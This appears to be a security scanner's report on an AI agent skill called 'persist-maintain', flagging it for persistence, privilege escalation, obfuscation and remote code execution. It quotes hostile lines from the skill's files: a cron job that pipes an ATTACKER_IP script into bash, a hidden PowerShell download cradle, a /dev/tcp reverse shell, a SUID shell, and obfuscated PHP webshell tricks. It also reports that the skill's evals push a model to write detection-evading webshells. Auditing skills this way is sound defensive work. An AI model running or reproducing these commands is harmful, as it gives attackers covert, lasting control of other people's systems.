The Agent Skills Directory

[REMOTE_CODE_EXECUTION]: The skill provides ready-to-use commands for piped remote script execution, a critical security risk.
Evidence in references/persistence-techniques.md: echo '*/5 * * * * root curl http://ATTACKER_IP/payload.sh | bash' > /etc/cron.d/logrotate-helper.
Evidence in references/persistence-techniques.md: schtasks /create /tn "WindowsUpdate" /tr "powershell -ep bypass -w hidden -c \"IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/payload.ps1')\"".
[PERSISTENCE]: The skill is entirely dedicated to establishing long-term unauthorized access through multiple system layers.
Linux Mechanisms: Modification of ~/.bashrc, deployment of systemd services, manipulation of /etc/cron.d/, and adding SSH keys to authorized_keys.
Windows Mechanisms: Modification of Registry Run keys (HKCU and HKLM), creation of scheduled tasks (schtasks), and persistent WMI event subscriptions (__EventFilter, CommandLineEventConsumer).
Web Shells: Deployment of hidden PHP backdoors in framework directories like vendor/ to avoid detection.
[PRIVILEGE_ESCALATION]: The skill provides methods to gain or maintain administrative/root privileges.
Evidence in references/persistence-techniques.md: Creating a SUID shell via chmod u+s /tmp/.hidden_shell.
Evidence in references/persistence-techniques.md: Replacing sethc.exe (Sticky Keys) with cmd.exe to obtain a SYSTEM shell at the login screen.
[OBFUSCATION]: The skill explicitly teaches techniques to bypass file scanners and antivirus software.
Evidence in SKILL.md: PHP string concatenation sys'.'tem' and function callbacks array_map('assert', ...) to hide malicious function calls.
Evidence in evals/evals.json: The evaluation criteria require the model to generate obfuscated variants of webshells to bypass keyword detection.
[COMMAND_EXECUTION]: Numerous instances of functional reverse shells that connect to attacker-controlled infrastructure.
Evidence in references/persistence-techniques.md: bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1 found in multiple configurations (Cron, bashrc, systemd).

persist-maintain